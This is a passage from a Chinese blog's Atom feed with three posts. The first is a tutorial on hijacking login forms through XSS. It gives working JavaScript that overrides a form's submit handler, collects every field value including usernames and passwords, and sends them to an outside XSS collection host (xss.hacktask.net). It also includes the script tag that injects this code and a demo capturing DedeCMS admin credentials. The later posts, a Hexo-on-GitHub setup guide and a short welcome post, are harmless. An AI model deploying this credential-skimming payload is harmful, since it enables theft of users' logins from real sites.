class="comment">//&#123;projectId&#125;为XSS平台为你分配的id</span></span><br><span class="line">func(event); <span class="comment">//func保存之前的onsubmit方法,由于这里面可能需要执行类似编码等操作,所以这里不能直接跳过</span></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">true</span>;</span><br></pre></td></tr></table></figure>
<h1 id="模块配置">模块配置</h1><ul>
<li>首先在XSS平台中创建一个新的模块,模块名称和描述自己填吧,需要配置的是参数,配置参数,以及代码<center><br>  <img src="/img/blog_img/4月/表单劫持/1.png"><br></center>

</li>
</ul>
<blockquote>
<p>在底下的代码框写入我们的代码,就OK了</p>
</blockquote>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> f=<span class="built_in">document</span>.forms[<span class="string">'&#123;set.formname&#125;'</span>];</span><br><span class="line"><span class="keyword">if</span>(f==<span class="literal">undefined</span>)</span><br><span class="line">&#123;</span><br><span class="line">        f=<span class="built_in">document</span>.getElementById(<span class="string">'&#123;set.formid&#125;'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> func=f.onsubmit;</span><br><span class="line">f.onsubmit=<span class="function"><span class="keyword">function</span><span class="params">(event)</span></span><br><span class="line"></span>&#123;</span><br><span class="line">	<span class="keyword">var</span> str=<span class="string">''</span>;</span><br><span class="line">	<span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;f.elements.length;i++)</span><br><span class="line">	&#123;</span><br><span class="line">		str+=f.elements[i].name+<span class="string">':'</span>+f.elements[i].value+<span class="string">'||'</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	str=str.substr(<span class="number">0</span>,str.length-<span class="number">2</span>);</span><br><span class="line">	<span class="keyword">var</span> img=<span class="keyword">new</span> Image();</span><br><span class="line">	img.src=<span class="string">'http://xss.hacktask.net/index.php?do=api&amp;id=&#123;projectId&#125;&amp;data='</span>+<span class="built_in">escape</span>(str)+<span class="string">'&amp;url='</span>+<span class="built_in">escape</span>(location.href);</span><br><span class="line">	func(event);</span><br><span class="line">	<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>点击配置，完成</p>
</blockquote>
<h1 id="演示">演示</h1><blockquote>
<p>这里以织梦为例,在后台那查看代码</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/表单劫持/2.png"><br></center>

<blockquote>
<p>然后在XSS中新建一个项目,项目名称,描述,惯例随便写,选中我们自建的模块,formname写成form1,保存.<br>复制XSS代码(如果不知道怎么做的话自行百度XSS平台使用),我这里是</p>
</blockquote>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="title">script</span> <span class="attribute">src</span>=<span class="value">http:</span>//<span class="attribute">xss.hacktask.net</span>/<span class="attribute">9D1Q9Z</span>?<span class="attribute">1430276699</span>&gt;</span><span class="undefined"></span><span class="tag">&lt;/<span class="title">script</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>织梦平台上模拟XSS插入</p>
<center><br>    <img src="/img/blog_img/4月/表单劫持/3.png"><br></center>

<blockquote>
<p>这里操作就完成了,返回登录界面,随便登录一下</p>
<p>熟悉的界面</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/表单劫持/4.png"><br></center>

<p>在XSS平台上看一下</p>
<center><br>    <img src="/img/blog_img/4月/表单劫持/5.png"><br></center>

<blockquote>
<p>截获到了吧,看下内容</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/表单劫持/6.png"><br></center>

<h1 id="缺点">缺点</h1><blockquote>
<p>看到这里,缺点大家应该也知道了,在输入的时候不管你的用户名密码是否正确,都会上传到XSS平台,也就是说,你截获到的账号密码不一定是正确的</p>
</blockquote>
<font size="30" color="green">祝大家好运^-^</font>]]></content>
    <summary type="html">
    <![CDATA[<pre><code>今天看到了表单劫持,于是想在XSS平台上创建一个表单劫持的项目,使用的平台是<span class="string">http:</span><span class="comment">//xss.hacktask.net/ </span>
</code><]]>
    </summary>
    
      <category term="hack" scheme="http://yoursite.com/tags/hack/"/>
    
      <category term="js" scheme="http://yoursite.com/tags/js/"/>
    
      <category term="表单劫持" scheme="http://yoursite.com/tags/%E8%A1%A8%E5%8D%95%E5%8A%AB%E6%8C%81/"/>
    
      <category term="hack" scheme="http://yoursite.com/categories/hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[windows下hexo-github无域名安装]]></title>
    <link href="http://yoursite.com/2015/04/28/hexo-github%E6%97%A0%E5%9F%9F%E5%90%8D%E5%AE%89%E8%A3%85/"/>
    <id>http://yoursite.com/2015/04/28/hexo-github无域名安装/</id>
    <published>2015-04-28T12:06:59.000Z</published>
    <updated>2015-04-28T14:57:00.483Z</updated>
    <content type="html"><![CDATA[<blockquote>
<p>太菜了,在github上使用hexo安装安装了好久，期间各种问题不断，然后不断的上网搜索，还好最后安装成功了,就把安装过程重新记录下吧.</p>
</blockquote>
<h1 id="1-支持文件">1.支持文件</h1><blockquote>
<p>这个不用多说了,网上教程一大堆,需要:</p>
</blockquote>
<ul>
<li><a href="http://git-scm.com/download/win" target="_blank" rel="external">git bash</a></li>
<li><a href="https://nodejs.org/" target="_blank" rel="external">node.js</a></li>
</ul>
<h1 id="2-安装">2.安装</h1><blockquote>
<p>在node.js提供的命令行窗口中输入</p>
</blockquote>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm <span class="operator"><span class="keyword">install</span> hexo <span class="comment">--save</span></span></span><br></pre></td></tr></table></figure>
<blockquote>
<p>安装完成出现如下图片</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/1.png"><br></center>

<blockquote>
<p>随便建立一个博客目录,输入:</p>
</blockquote>
<figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">hexo</span> init</span><br></pre></td></tr></table></figure>
<blockquote>
<p>出现如下：</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/2.png"><br></center>

<blockquote>
<p>然后输入:</p>
</blockquote>
<figure class="highlight cmake"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm <span class="keyword">install</span></span><br></pre></td></tr></table></figure>
<blockquote>
<p>完成安装</p>
</blockquote>
<p><strong><font color="black">这时，本地基本上已经搭建好了,可以在<font color="red">_config.yml</font>中修改例如博客作者,标题等一系列信息;</font></strong></p>
<p>OK,我们来看看效果吧:运行下列命令:<br><figure class="highlight axapta"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo <span class="keyword">server</span></span><br></pre></td></tr></table></figure></p>
<blockquote>
<p>如果运行成功的话，本地端口4000会被打开,随便在哪个浏览器上输入</p>
</blockquote>
<ul>
<li><a href="http://127.0.0.1:4000" target="_blank" rel="external">http://127.0.0.1:4000</a></li>
</ul>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/3.png"><br></center>

<h1 id="3-上传">3.上传</h1><blockquote>
<p>将生成的文件部署到github上,首先,你得有个github号.</p>
<p>获得github号后,在全局设置那里配置SSH公钥,具体配置过程直接使用官网的教程<a href="https://help.github.com/articles/generating-ssh-keys/" target="_blank" rel="external">https://help.github.com/articles/generating-ssh-keys/</a> 这里就不多说了,配置公钥这步主要是为了让本地主机通过github的认证，否则,部署的时候会出现无权限的错误.</p>
</blockquote>
<p>在github上新建一个工程,建好后出现如下界面</p>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/4.png"><br></center>

<p>复制好后,找到<font color="red">_config.yml</font>,添加<br><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">type</span>: git</span><br><span class="line"><span class="attribute">repo</span>: git<span class="variable">@github</span>.<span class="attribute">com</span>:dwblog/new_blog.git</span><br></pre></td></tr></table></figure></p>
<font color="red"><strong>注意!hexo版本3.0以上的type是git,3.0以下的是github,使用hexo version查看版本,<font color="blue">如果出现ERROR Deployer not found: git,运行命令npm install hexo-deployer-git —save即可</font></strong></font>

<p>然后就可以部署了,运行<br><figure class="highlight stata"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo <span class="keyword">g</span></span><br><span class="line">hexo <span class="literal">d</span></span><br></pre></td></tr></table></figure></p>
<p>运行完毕</p>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/5.png"><br></center>

<p>在github上选择刚才的项目,点setting,在下面会出现</p>
<ul>
<li>Your site is published at <a href="http://dwblog.github.io/new_blog" target="_blank" rel="external">http://dwblog.github.io/new_blog</a>.<br>说明部署成功</li>
</ul>
<h1 id="4-没有域名怎么办?">4.没有域名怎么办?</h1><blockquote>
<p>上面的步骤相信大家在网上可以搜出来很多,所以我这里主要也就是将网上的步骤归纳了一下(因为我这里按照网上的步骤一步一步走遇到了很多问题- -!).</p>
<p>接下来大家肯定迫不及待的打开自己的网页瞧一瞧,但是出问题了- -!,是不是像下图这样</p>
</blockquote>
<center><br>    <img src="/img/blog_img/4月/hexo-github无域名安装/6.png"><br></center>

<blockquote>
<p>是不是没有本地的好看,当然,你可能觉得实现了功能已经很满足了,但是,随便点一篇文章进去看看,是不是404 not found!</p>
<p>仔细看看红框中,CSS位置错了!</p>
</blockquote>
<p>在网上找了好久,发现很多教程都是让申请一个域名,然后新建一个CNAME的文件,把域名倒进去,OK.但是,<strong><font color="red">没有域名怎么办?</font></strong></p>
<p>仔细看看public中的index.html文件,发现hexo g的时候把根目录解析成了/也就是<a href="http://dwblog.github.io,不是我们的博客地址,下面介绍两种解决方法" target="_blank" rel="external">http://dwblog.github.io,不是我们的博客地址,下面介绍两种解决方法</a></p>
<h2 id="1-_修改项目名称">1. 修改项目名称</h2><p>既然他给解析成了<a href="http://dwblog.github.io" target="_blank" rel="external">http://dwblog.github.io</a> ,那我们就直接使用<a href="http://dwblog.github.io" target="_blank" rel="external">http://dwblog.github.io</a> 作为博客地址不就可以了吗？方法是创建新项目的时候使用xxx.github.io这种项目名称，然后在重复上面的操作,即可</p>
<h2 id="2-_修改根目录">2. 修改根目录</h2><p>这种思路是让他给解析成/new_blog不就可以了吗？方法很简单,在<font color="red">_config.yml</font>中找到<font color="red">root</font>项,然后把<font color="red">/</font>改成<font color="red">/new_blog</font>就可以了</p>
<p><font color="GREEN"><h1><strong>这里就不上图了- -!</strong><h1><font></font></h1></h1></font></p>
]]></content>
    <summary type="html">
    <![CDATA[<blockquote>
<p>太菜了,在github上使用hexo安装安装了好久，期间各种问题不断，然后不断的上网搜索，还好最后安装成功了,就把安装过程重新记录下吧.</p>
</blockquote>
<h1 id="1-支持文件">1.支持文件</h1><blockquot]]>
    </summary>
    
      <category term="github" scheme="http://yoursite.com/tags/github/"/>
    
      <category term="hexo" scheme="http://yoursite.com/tags/hexo/"/>
    
      <category term="windows" scheme="http://yoursite.com/tags/windows/"/>
    
      <category term="无域名" scheme="http://yoursite.com/tags/%E6%97%A0%E5%9F%9F%E5%90%8D/"/>
    
      <category term="安装" scheme="http://yoursite.com/categories/%E5%AE%89%E8%A3%85/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[新的博客]]></title>
    <link href="http://yoursite.com/2015/04/28/%E6%96%B0%E7%9A%84%E5%8D%9A%E5%AE%A2/"/>
    <id>http://yoursite.com/2015/04/28/新的博客/</id>
    <published>2015-04-28T07:46:30.000Z</published>
    <updated>2015-04-28T15:00:06.394Z</updated>
    <content type="html"><![CDATA[<p>  新开的博客,折腾了半天<br>  <center><br>    <img src="/img/blog_img/4月/新的博客/14098795763615.jpg" onclick="alert('谁点谁瓜皮');return true;"><br>  </center></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>  新开的博客,折腾了半天<br>  <center><br>    <img src="/img/blog_img/4月/新的博客/14098795763615.jpg" onclick="alert('谁点谁瓜皮');return true;"><br>  </cent]]>
    </summary>
    
      <category term="blog" scheme="http://yoursite.com/tags/blog/"/>
    
      <category term="new" scheme="http://yoursite.com/tags/new/"/>
    
      <category term="日志" scheme="http://yoursite.com/categories/%E6%97%A5%E5%BF%97/"/>
    
  </entry>
  
</feed>